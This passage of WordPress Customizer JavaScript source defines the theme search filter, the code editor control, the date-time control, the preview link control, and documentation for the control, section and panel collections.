5209 source = $screenshot.data( 'src' );
5210
5211 if ( source ) {
5212 $screenshot.attr( 'src', source );
5213 }
5214 control.screenshotRendered = true;
5215 });
5216 },
5217
5218 /**
5219 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
5220 *
5221 * @since 4.2.0
5222 * @param {Array} terms - An array of terms to search for.
5223 * @return {boolean} Whether a theme control was activated or not.
5224 */
5225 filter: function( terms ) {
5226 var control = this,
5227 matchCount = 0,
5228 haystack = control.params.theme.name + ' ' +
5229 control.params.theme.description + ' ' +
5230 control.params.theme.tags + ' ' +
5231 control.params.theme.author + ' ';
5232 haystack = haystack.toLowerCase().replace( '-', ' ' );
5233
5234 // Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
5235 if ( ! _.isArray( terms ) ) {
5236 terms = [ terms ];
5237 }
5238
5239 // Always give exact name matches highest ranking.
5240 if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
5241 matchCount = 100;
5242 } else {
5243
5244 // Search for and weight (by 10) complete term matches.
5245 matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );
5246
5247 // Search for each term individually (as whole-word and partial match) and sum weighted match counts.
5248 _.each( terms, function( term ) {
5249 matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
5250 matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
5251 });
5252
5253 // Upper limit on match ranking.
5254 if ( matchCount > 99 ) {
5255 matchCount = 99;
5256 }
5257 }
5258
5259 if ( 0 !== matchCount ) {
5260 control.activate();
5261 control.params.priority = 101 - matchCount; // Sort results by match count.
5262 return true;
5263 } else {
5264 control.deactivate(); // Hide control.
5265 control.params.priority = 101;
5266 return false;
5267 }
5268 },
5269
5270 /**
5271 * Rerender the theme from its JS template with the installed type.
5272 *
5273 * @since 4.9.0
5274 *
5275 * @return {void}
5276 */
5277 rerenderAsInstalled: function( installed ) {
5278 var control = this, section;
5279 if ( installed ) {
5280 control.params.theme.type = 'installed';
5281 } else {
5282 section = api.section( control.params.section );
5283 control.params.theme.type = section.params.action;
5284 }
5285 control.renderContent(); // Replaces existing content.
5286 control.container.trigger( 'render-screenshot' );
5287 }
5288 });
5289
5290 /**
5291 * Class wp.customize.CodeEditorControl
5292 *
5293 * @since 4.9.0
5294 *
5295 * @class wp.customize.CodeEditorControl
5296 * @augments wp.customize.Control
5297 */
5298 api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{
5299
5300 /**
5301 * Initialize.
5302 *
5303 * @since 4.9.0
5304 * @param {string} id - Unique identifier for the control instance.
5305 * @param {Object} options - Options hash for the control instance.
5306 * @return {void}
5307 */
5308 initialize: function( id, options ) {
5309 var control = this;
5310 control.deferred = _.extend( control.deferred || {}, {
5311 codemirror: $.Deferred()
5312 } );
5313 api.Control.prototype.initialize.call( control, id, options );
5314
5315 // Note that rendering is debounced so the props will be used when rendering happens after add event.
5316 control.notifications.bind( 'add', function( notification ) {
5317
5318 // Skip if control notification is not from setting csslint_error notification.
5319 if ( notification.code !== control.setting.id + ':csslint_error' ) {
5320 return;
5321 }
5322
5323 // Customize the template and behavior of csslint_error notifications.
5324 notification.templateId = 'customize-code-editor-lint-error-notification';
5325 notification.render = (function( render ) {
5326 return function() {
5327 var li = render.call( this );
5328 li.find( 'input[type=checkbox]' ).on( 'click', function() {
5329 control.setting.notifications.remove( 'csslint_error' );
5330 } );
5331 return li;
5332 };
5333 })( notification.render );
5334 } );
5335 },
5336
5337 /**
5338 * Initialize the editor when the containing section is ready and expanded.
5339 *
5340 * @since 4.9.0
5341 * @return {void}
5342 */
5343 ready: function() {
5344 var control = this;
5345 if ( ! control.section() ) {
5346 control.initEditor();
5347 return;
5348 }
5349
5350 // Wait to initialize editor until section is embedded and expanded.
5351 api.section( control.section(), function( section ) {
5352 section.deferred.embedded.done( function() {
5353 var onceExpanded;
5354 if ( section.expanded() ) {
5355 control.initEditor();
5356 } else {
5357 onceExpanded = function( isExpanded ) {
5358 if ( isExpanded ) {
5359 control.initEditor();
5360 section.expanded.unbind( onceExpanded );
5361 }
5362 };
5363 section.expanded.bind( onceExpanded );
5364 }
5365 } );
5366 } );
5367 },
5368
5369 /**
5370 * Initialize editor.
5371 *
5372 * @since 4.9.0
5373 * @return {void}
5374 */
5375 initEditor: function() {
5376 var control = this, element, editorSettings = false;
5377
5378 // Obtain editorSettings for instantiation.
5379 if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {
5380
5381 // Obtain default editor settings.
5382 editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
5383 editorSettings.codemirror = _.extend(
5384 {},
5385 editorSettings.codemirror,
5386 {
5387 indentUnit: 2,
5388 tabSize: 2
5389 }
5390 );
5391
5392 // Merge editor_settings param on top of defaults.
5393 if ( _.isObject( control.params.editor_settings ) ) {
5394 _.each( control.params.editor_settings, function( value, key ) {
5395 if ( _.isObject( value ) ) {
5396 editorSettings[ key ] = _.extend(
5397 {},
5398 editorSettings[ key ],
5399 value
5400 );
5401 }
5402 } );
5403 }
5404 }
5405
5406 element = new api.Element( control.container.find( 'textarea' ) );
5407 control.elements.push( element );
5408 element.sync( control.setting );
5409 element.set( control.setting() );
5410
5411 if ( editorSettings ) {
5412 control.initSyntaxHighlightingEditor( editorSettings );
5413 } else {
5414 control.initPlainTextareaEditor();
5415 }
5416 },
5417
5418 /**
5419 * Make sure editor gets focused when control is focused.
5420 *
5421 * @since 4.9.0
5422 * @param {Object} [params] - Focus params.
5423 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
5424 * @return {void}
5425 */
5426 focus: function( params ) {
5427 var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
5428 originalCompleteCallback = extendedParams.completeCallback;
5429 extendedParams.completeCallback = function() {
5430 if ( originalCompleteCallback ) {
5431 originalCompleteCallback();
5432 }
5433 if ( control.editor ) {
5434 control.editor.codemirror.focus();
5435 }
5436 };
5437 api.Control.prototype.focus.call( control, extendedParams );
5438 },
5439
5440 /**
5441 * Initialize syntax-highlighting editor.
5442 *
5443 * @since 4.9.0
5444 * @param {Object} codeEditorSettings - Code editor settings.
5445 * @return {void}
5446 */
5447 initSyntaxHighlightingEditor: function( codeEditorSettings ) {
5448 var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;
5449
5450 settings = _.extend( {}, codeEditorSettings, {
5451 onTabNext: _.bind( control.onTabNext, control ),
5452 onTabPrevious: _.bind( control.onTabPrevious, control ),
5453 onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
5454 });
5455
5456 control.editor = wp.codeEditor.initialize( $textarea, settings );
5457
5458 // Improve the editor accessibility.
5459 $( control.editor.codemirror.display.lineDiv )
5460 .attr({
5461 role: 'textbox',
5462 'aria-multiline': 'true',
5463 'aria-label': control.params.label,
5464 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
5465 });
5466
5467 // Focus the editor when clicking on its label.
5468 control.container.find( 'label' ).on( 'click', function() {
5469 control.editor.codemirror.focus();
5470 });
5471
5472 /*
5473 * When the CodeMirror instance changes, mirror to the textarea,
5474 * where we have our "true" change event handler bound.
5475 */
5476 control.editor.codemirror.on( 'change', function( codemirror ) {
5477 suspendEditorUpdate = true;
5478 $textarea.val( codemirror.getValue() ).trigger( 'change' );
5479 suspendEditorUpdate = false;
5480 });
5481
5482 // Update CodeMirror when the setting is changed by another plugin.
5483 control.setting.bind( function( value ) {
5484 if ( ! suspendEditorUpdate ) {
5485 control.editor.codemirror.setValue( value );
5486 }
5487 });
5488
5489 // Prevent collapsing section when hitting Esc to tab out of editor.
5490 control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
5491 var escKeyCode = 27;
5492 if ( escKeyCode === event.keyCode ) {
5493 event.stopPropagation();
5494 }
5495 });
5496
5497 control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
5498 },
5499
5500 /**
5501 * Handle tabbing to the field after the editor.
5502 *
5503 * @since 4.9.0
5504 * @return {void}
5505 */
5506 onTabNext: function onTabNext() {
5507 var control = this, controls, controlIndex, section;
5508 section = api.section( control.section() );
5509 controls = section.controls();
5510 controlIndex = controls.indexOf( control );
5511 if ( controls.length === controlIndex + 1 ) {
5512 $( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' );
5513 } else {
5514 controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
5515 }
5516 },
5517
5518 /**
5519 * Handle tabbing to the field before the editor.
5520 *
5521 * @since 4.9.0
5522 * @return {void}
5523 */
5524 onTabPrevious: function onTabPrevious() {
5525 var control = this, controls, controlIndex, section;
5526 section = api.section( control.section() );
5527 controls = section.controls();
5528 controlIndex = controls.indexOf( control );
5529 if ( 0 === controlIndex ) {
5530 section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
5531 } else {
5532 controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
5533 }
5534 },
5535
5536 /**
5537 * Update error notice.
5538 *
5539 * @since 4.9.0
5540 * @param {Array} errorAnnotations - Error annotations.
5541 * @return {void}
5542 */
5543 onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
5544 var control = this, message;
5545 control.setting.notifications.remove( 'csslint_error' );
5546
5547 if ( 0 !== errorAnnotations.length ) {
5548 if ( 1 === errorAnnotations.length ) {
5549 message = api.l10n.customCssError.singular.replace( '%d', '1' );
5550 } else {
5551 message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
5552 }
5553 control.setting.notifications.add( new api.Notification( 'csslint_error', {
5554 message: message,
5555 type: 'error'
5556 } ) );
5557 }
5558 },
5559
5560 /**
5561 * Initialize plain-textarea editor when syntax highlighting is disabled.
5562 *
5563 * @since 4.9.0
5564 * @return {void}
5565 */
5566 initPlainTextareaEditor: function() {
5567 var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];
5568
5569 $textarea.on( 'blur', function onBlur() {
5570 $textarea.data( 'next-tab-blurs', false );
5571 } );
5572
5573 $textarea.on( 'keydown', function onKeydown( event ) {
5574 var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;
5575
5576 if ( escKeyCode === event.keyCode ) {
5577 if ( ! $textarea.data( 'next-tab-blurs' ) ) {
5578 $textarea.data( 'next-tab-blurs', true );
5579 event.stopPropagation(); // Prevent collapsing the section.
5580 }
5581 return;
5582 }
5583
5584 // Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
5585 if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
5586 return;
5587 }
5588
5589 // Prevent capturing Tab characters if Esc was pressed.
5590 if ( $textarea.data( 'next-tab-blurs' ) ) {
5591 return;
5592 }
5593
5594 selectionStart = textarea.selectionStart;
5595 selectionEnd = textarea.selectionEnd;
5596 value = textarea.value;
5597
5598 if ( selectionStart >= 0 ) {
5599 textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
5600 $textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
5601 }
5602
5603 event.stopPropagation();
5604 event.preventDefault();
5605 });
5606
5607 control.deferred.codemirror.rejectWith( control );
5608 }
5609 });
5610
5611 /**
5612 * Class wp.customize.DateTimeControl.
5613 *
5614 * @since 4.9.0
5615 * @class wp.customize.DateTimeControl
5616 * @augments wp.customize.Control
5617 */
5618 api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{
5619
5620 /**
5621 * Initialize behaviors.
5622 *
5623 * @since 4.9.0
5624 * @return {void}
5625 */
5626 ready: function ready() {
5627 var control = this;
5628
5629 control.inputElements = {};
5630 control.invalidDate = false;
5631
5632 _.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );
5633
5634 if ( ! control.setting ) {
5635 throw new Error( 'Missing setting' );
5636 }
5637
5638 control.container.find( '.date-input' ).each( function() {
5639 var input = $( this ), component, element;
5640 component = input.data( 'component' );
5641 element = new api.Element( input );
5642 control.inputElements[ component ] = element;
5643 control.elements.push( element );
5644
5645 // Add invalid date error once user changes (and has blurred the input).
5646 input.on( 'change', function() {
5647 if ( control.invalidDate ) {
5648 control.notifications.add( new api.Notification( 'invalid_date', {
5649 message: api.l10n.invalidDate
5650 } ) );
5651 }
5652 } );
5653
5654 // Remove the error immediately after validity change.
5655 input.on( 'input', _.debounce( function() {
5656 if ( ! control.invalidDate ) {
5657 control.notifications.remove( 'invalid_date' );
5658 }
5659 } ) );
5660
5661 // Add zero-padding when blurring field.
5662 input.on( 'blur', _.debounce( function() {
5663 if ( ! control.invalidDate ) {
5664 control.populateDateInputs();
5665 }
5666 } ) );
5667 } );
5668
5669 control.inputElements.month.bind( control.updateDaysForMonth );
5670 control.inputElements.year.bind( control.updateDaysForMonth );
5671 control.populateDateInputs();
5672 control.setting.bind( control.populateDateInputs );
5673
5674 // Start populating setting after inputs have been populated.
5675 _.each( control.inputElements, function( element ) {
5676 element.bind( control.populateSetting );
5677 } );
5678 },
5679
5680 /**
5681 * Parse datetime string.
5682 *
5683 * @since 4.9.0
5684 *
5685 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
5686 * @return {Object|null} Returns object containing date components or null if parse error.
5687 */
5688 parseDateTime: function parseDateTime( datetime ) {
5689 var control = this, matches, date, midDayHour = 12;
5690
5691 if ( datetime ) {
5692 matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
5693 }
5694
5695 if ( ! matches ) {
5696 return null;
5697 }
5698
5699 matches.shift();
5700
5701 date = {
5702 year: matches.shift(),
5703 month: matches.shift(),
5704 day: matches.shift(),
5705 hour: matches.shift() || '00',
5706 minute: matches.shift() || '00',
5707 second: matches.shift() || '00'
5708 };
5709
5710 if ( control.params.includeTime && control.params.twelveHourFormat ) {
5711 date.hour = parseInt( date.hour, 10 );
5712 date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
5713 date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
5714 delete date.second; // @todo Why only if twelveHourFormat?
5715 }
5716
5717 return date;
5718 },
5719
5720 /**
5721 * Validates if input components have valid date and time.
5722 *
5723 * @since 4.9.0
5724 * @return {boolean} If date input fields has error.
5725 */
5726 validateInputs: function validateInputs() {
5727 var control = this, components, validityInput;
5728
5729 control.invalidDate = false;
5730
5731 components = [ 'year', 'day' ];
5732 if ( control.params.includeTime ) {
5733 components.push( 'hour', 'minute' );
5734 }
5735
5736 _.find( components, function( component ) {
5737 var element, max, min, value;
5738
5739 element = control.inputElements[ component ];
5740 validityInput = element.element.get( 0 );
5741 max = parseInt( element.element.attr( 'max' ), 10 );
5742 min = parseInt( element.element.attr( 'min' ), 10 );
5743 value = parseInt( element(), 10 );
5744 control.invalidDate = isNaN( value ) || value > max || value < min;
5745
5746 if ( ! control.invalidDate ) {
5747 validityInput.setCustomValidity( '' );
5748 }
5749
5750 return control.invalidDate;
5751 } );
5752
5753 if ( control.inputElements.meridian && ! control.invalidDate ) {
5754 validityInput = control.inputElements.meridian.element.get( 0 );
5755 if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
5756 control.invalidDate = true;
5757 } else {
5758 validityInput.setCustomValidity( '' );
5759 }
5760 }
5761
5762 if ( control.invalidDate ) {
5763 validityInput.setCustomValidity( api.l10n.invalidValue );
5764 } else {
5765 validityInput.setCustomValidity( '' );
5766 }
5767 if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
5768 _.result( validityInput, 'reportValidity' );
5769 }
5770
5771 return control.invalidDate;
5772 },
5773
5774 /**
5775 * Updates number of days according to the month and year selected.
5776 *
5777 * @since 4.9.0
5778 * @return {void}
5779 */
5780 updateDaysForMonth: function updateDaysForMonth() {
5781 var control = this, daysInMonth, year, month, day;
5782
5783 month = parseInt( control.inputElements.month(), 10 );
5784 year = parseInt( control.inputElements.year(), 10 );
5785 day = parseInt( control.inputElements.day(), 10 );
5786
5787 if ( month && year ) {
5788 daysInMonth = new Date( year, month, 0 ).getDate();
5789 control.inputElements.day.element.attr( 'max', daysInMonth );
5790
5791 if ( day > daysInMonth ) {
5792 control.inputElements.day( String( daysInMonth ) );
5793 }
5794 }
5795 },
5796
5797 /**
5798 * Populate setting value from the inputs.
5799 *
5800 * @since 4.9.0
5801 * @return {boolean} If setting updated.
5802 */
5803 populateSetting: function populateSetting() {
5804 var control = this, date;
5805
5806 if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
5807 return false;
5808 }
5809
5810 date = control.convertInputDateToString();
5811 control.setting.set( date );
5812 return true;
5813 },
5814
5815 /**
5816 * Converts input values to string in Y-m-d H:i:s format.
5817 *
5818 * @since 4.9.0
5819 * @return {string} Date string.
5820 */
5821 convertInputDateToString: function convertInputDateToString() {
5822 var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
5823 getElementValue, pad;
5824
5825 pad = function( number, padding ) {
5826 var zeros;
5827 if ( String( number ).length < padding ) {
5828 zeros = padding - String( number ).length;
5829 number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
5830 }
5831 return number;
5832 };
5833
5834 getElementValue = function( component ) {
5835 var value = parseInt( control.inputElements[ component ].get(), 10 );
5836
5837 if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
5838 value = pad( value, 2 );
5839 } else if ( 'year' === component ) {
5840 value = pad( value, 4 );
5841 }
5842 return value;
5843 };
5844
5845 dateFormat = [ 'year', '-', 'month', '-', 'day' ];
5846 if ( control.params.includeTime ) {
5847 hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
5848 dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
5849 }
5850
5851 _.each( dateFormat, function( component ) {
5852 date += control.inputElements[ component ] ? getElementValue( component ) : component;
5853 } );
5854
5855 return date;
5856 },
5857
5858 /**
5859 * Check if the date is in the future.
5860 *
5861 * @since 4.9.0
5862 * @return {boolean} True if future date.
5863 */
5864 isFutureDate: function isFutureDate() {
5865 var control = this;
5866 return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
5867 },
5868
5869 /**
5870 * Convert hour in twelve hour format to twenty four hour format.
5871 *
5872 * @since 4.9.0
5873 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
5874 * @param {string} meridian - Either 'am' or 'pm'.
5875 * @return {string} Hour in twenty four hour format.
5876 */
5877 convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
5878 var hourInTwentyFourHourFormat, hour, midDayHour = 12;
5879
5880 hour = parseInt( hourInTwelveHourFormat, 10 );
5881 if ( isNaN( hour ) ) {
5882 return '';
5883 }
5884
5885 if ( 'pm' === meridian && hour < midDayHour ) {
5886 hourInTwentyFourHourFormat = hour + midDayHour;
5887 } else if ( 'am' === meridian && midDayHour === hour ) {
5888 hourInTwentyFourHourFormat = hour - midDayHour;
5889 } else {
5890 hourInTwentyFourHourFormat = hour;
5891 }
5892
5893 return String( hourInTwentyFourHourFormat );
5894 },
5895
5896 /**
5897 * Populates date inputs in date fields.
5898 *
5899 * @since 4.9.0
5900 * @return {boolean} Whether the inputs were populated.
5901 */
5902 populateDateInputs: function populateDateInputs() {
5903 var control = this, parsed;
5904
5905 parsed = control.parseDateTime( control.setting.get() );
5906
5907 if ( ! parsed ) {
5908 return false;
5909 }
5910
5911 _.each( control.inputElements, function( element, component ) {
5912 var value = parsed[ component ]; // This will be zero-padded string.
5913
5914 // Set month and meridian regardless of focused state since they are dropdowns.
5915 if ( 'month' === component || 'meridian' === component ) {
5916
5917 // Options in dropdowns are not zero-padded.
5918 value = value.replace( /^0/, '' );
5919
5920 element.set( value );
5921 } else {
5922
5923 value = parseInt( value, 10 );
5924 if ( ! element.element.is( document.activeElement ) ) {
5925
5926 // Populate element with zero-padded value if not focused.
5927 element.set( parsed[ component ] );
5928 } else if ( value !== parseInt( element(), 10 ) ) {
5929
5930 // Forcibly update the value if its underlying value changed, regardless of zero-padding.
5931 element.set( String( value ) );
5932 }
5933 }
5934 } );
5935
5936 return true;
5937 },
5938
5939 /**
5940 * Toggle future date notification for date control.
5941 *
5942 * @since 4.9.0
5943 * @param {boolean} notify Add or remove the notification.
5944 * @return {wp.customize.DateTimeControl}
5945 */
5946 toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
5947 var control = this, notificationCode, notification;
5948
5949 notificationCode = 'not_future_date';
5950
5951 if ( notify ) {
5952 notification = new api.Notification( notificationCode, {
5953 type: 'error',
5954 message: api.l10n.futureDateError
5955 } );
5956 control.notifications.add( notification );
5957 } else {
5958 control.notifications.remove( notificationCode );
5959 }
5960
5961 return control;
5962 }
5963 });
5964
5965 /**
5966 * Class PreviewLinkControl.
5967 *
5968 * @since 4.9.0
5969 * @class wp.customize.PreviewLinkControl
5970 * @augments wp.customize.Control
5971 */
5972 api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{
5973
5974 defaults: _.extend( {}, api.Control.prototype.defaults, {
5975 templateId: 'customize-preview-link-control'
5976 } ),
5977
5978 /**
5979 * Initialize behaviors.
5980 *
5981 * @since 4.9.0
5982 * @return {void}
5983 */
5984 ready: function ready() {
5985 var control = this, element, component, node, url, input, button;
5986
5987 _.bindAll( control, 'updatePreviewLink' );
5988
5989 if ( ! control.setting ) {
5990 control.setting = new api.Value();
5991 }
5992
5993 control.previewElements = {};
5994
5995 control.container.find( '.preview-control-element' ).each( function() {
5996 node = $( this );
5997 component = node.data( 'component' );
5998 element = new api.Element( node );
5999 control.previewElements[ component ] = element;
6000 control.elements.push( element );
6001 } );
6002
6003 url = control.previewElements.url;
6004 input = control.previewElements.input;
6005 button = control.previewElements.button;
6006
6007 input.link( control.setting );
6008 url.link( control.setting );
6009
6010 url.bind( function( value ) {
6011 url.element.parent().attr( {
6012 href: value,
6013 target: api.settings.changeset.uuid
6014 } );
6015 } );
6016
6017 api.bind( 'ready', control.updatePreviewLink );
6018 api.state( 'saved' ).bind( control.updatePreviewLink );
6019 api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
6020 api.state( 'activated' ).bind( control.updatePreviewLink );
6021 api.previewer.previewUrl.bind( control.updatePreviewLink );
6022
6023 button.element.on( 'click', function( event ) {
6024 event.preventDefault();
6025 if ( control.setting() ) {
6026 input.element.select();
6027 document.execCommand( 'copy' );
6028 button( button.element.data( 'copied-text' ) );
6029 }
6030 } );
6031
6032 url.element.parent().on( 'click', function( event ) {
6033 if ( $( this ).hasClass( 'disabled' ) ) {
6034 event.preventDefault();
6035 }
6036 } );
6037
6038 button.element.on( 'mouseenter', function() {
6039 if ( control.setting() ) {
6040 button( button.element.data( 'copy-text' ) );
6041 }
6042 } );
6043 },
6044
6045 /**
6046 * Updates Preview Link
6047 *
6048 * @since 4.9.0
6049 * @return {void}
6050 */
6051 updatePreviewLink: function updatePreviewLink() {
6052 var control = this, unsavedDirtyValues;
6053
6054 unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();
6055
6056 control.toggleSaveNotification( unsavedDirtyValues );
6057 control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
6058 control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
6059 control.setting.set( api.previewer.getFrontendPreviewUrl() );
6060 },
6061
6062 /**
6063 * Toggles save notification.
6064 *
6065 * @since 4.9.0
6066 * @param {boolean} notify Add or remove notification.
6067 * @return {void}
6068 */
6069 toggleSaveNotification: function toggleSaveNotification( notify ) {
6070 var control = this, notificationCode, notification;
6071
6072 notificationCode = 'changes_not_saved';
6073
6074 if ( notify ) {
6075 notification = new api.Notification( notificationCode, {
6076 type: 'info',
6077 message: api.l10n.saveBeforeShare
6078 } );
6079 control.notifications.add( notification );
6080 } else {
6081 control.notifications.remove( notificationCode );
6082 }
6083 }
6084 });
6085
6086 /**
6087 * Change objects contained within the main customize object to Settings.
6088 *
6089 * @alias wp.customize.defaultConstructor
6090 */
6091 api.defaultConstructor = api.Setting;
6092
6093 /**
6094 * Callback for resolved controls.
6095 *
6096 * @callback wp.customize.deferredControlsCallback
6097 * @param {wp.customize.Control[]} controls Resolved controls.
6098 */
6099
6100 /**
6101 * Collection of all registered controls.
6102 *
6103 * @alias wp.customize.control
6104 *
6105 * @since 3.4.0
6106 *
6107 * @type {Function}
6108 * @param {...string} ids - One or more ids for controls to obtain.
6109 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
6110 * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param),
6111 * or promise resolving to requested controls.
6112 *
6113 * @example <caption>Loop over all registered controls.</caption>
6114 * wp.customize.control.each( function( control ) { ... } );
6115 *
6116 * @example <caption>Getting `background_color` control instance.</caption>
6117 * control = wp.customize.control( 'background_color' );
6118 *
6119 * @example <caption>Check if control exists.</caption>
6120 * hasControl = wp.customize.control.has( 'background_color' );
6121 *
6122 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
6123 * wp.customize.control( 'background_color', function( control ) { ... } );
6124 *
6125 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
6126 * promise = wp.customize.control( 'blogname', 'blogdescription' );
6127 * promise.done( function( titleControl, taglineControl ) { ... } );
6128 *
6129 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
6130 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
6131 *
6132 * @example <caption>Getting setting value for `background_color` control.</caption>
6133 * value = wp.customize.control( 'background_color ').setting.get();
6134 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
6135 *
6136 * @example <caption>Add new control for site title.</caption>
6137 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
6138 * setting: 'blogname',
6139 * type: 'text',
6140 * label: 'Site title',
6141 * section: 'other_site_identify'
6142 * } ) );
6143 *
6144 * @example <caption>Remove control.</caption>
6145 * wp.customize.control.remove( 'other_blogname' );
6146 *
6147 * @example <caption>Listen for control being added.</caption>
6148 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
6149 *
6150 * @example <caption>Listen for control being removed.</caption>
6151 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
6152 */
6153 api.control = new api.Values({ defaultConstructor: api.Control });
6154
6155 /**
6156 * Callback for resolved sections.
6157 *
6158 * @callback wp.customize.deferredSectionsCallback
6159 * @param {wp.customize.Section[]} sections Resolved sections.
6160 */
6161
6162 /**
6163 * Collection of all registered sections.
6164 *
6165 * @alias wp.customize.section
6166 *
6167 * @since 3.4.0
6168 *
6169 * @type {Function}
6170 * @param {...string} ids - One or more ids for sections to obtain.
6171 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
6172 * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param),
6173 * or promise resolving to requested sections.
6174 *
6175 * @example <caption>Loop over all registered sections.</caption>
6176 * wp.customize.section.each( function( section ) { ... } )
6177 *
6178 * @example <caption>Getting `title_tagline` section instance.</caption>
6179 * section = wp.customize.section( 'title_tagline' )
6180 *
6181 * @example <caption>Expand dynamically-created section when it exists.</caption>
6182 * wp.customize.section( 'dynamically_created', function( section ) {
6183 * section.expand();
6184 * } );
6185 *
6186 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6187 */
6188 api.section = new api.Values({ defaultConstructor: api.Section });
6189
6190 /**
6191 * Callback for resolved panels.
6192 *
6193 * @callback wp.customize.deferredPanelsCallback
6194 * @param {wp.customize.Panel[]} panels Resolved panels.
6195 */
6196
6197 /**
6198 * Collection of all registered panels.
6199 *
6200 * @alias wp.customize.panel
6201 *
6202 * @since 4.0.0
6203 *
6204 * @type {Function}
6205 * @param {...string} ids - One or more ids for panels to obtain.
6206 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
6207 * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param),
6208 * or promise resolving to requested panels.
6209 *
6210 * @example <caption>Loop over all registered panels.</caption>
6211 * wp.customize.panel.each( function( panel ) { ... } )
6212 *
6213 * @example <caption>Getting nav_menus panel instance.</caption>
6214 * panel = wp.customize.panel( 'nav_menus' );
6215 *
6216 * @example <caption>Expand dynamically-created panel when it exists.</caption>
6217 * wp.customize.panel( 'dynamically_created', function( panel ) {
6218 * panel.expand();
6219 * } );
6220 *
6221 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6222 */
6223 api.panel = new api.Values({ defaultConstructor: api.Panel });
6224
6225 /**
6226 * Callback for resolved notifications.
6227 *
6228 * @callback wp.customize.deferredNotificationsCallback
6229 * @param {wp.customize.Notification[]} notifications Resolved notifications.
6230 */
6231
6232 /**
6233 * Collection of all global notifications.
6234 *
6235 * @alias wp.customize.notifications
6236 *
6237 * @since 4.9.0
6238 *
6239 * @type {Function}
6240 * @param {...string} codes - One or more codes for notifications to obtain.
6241 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
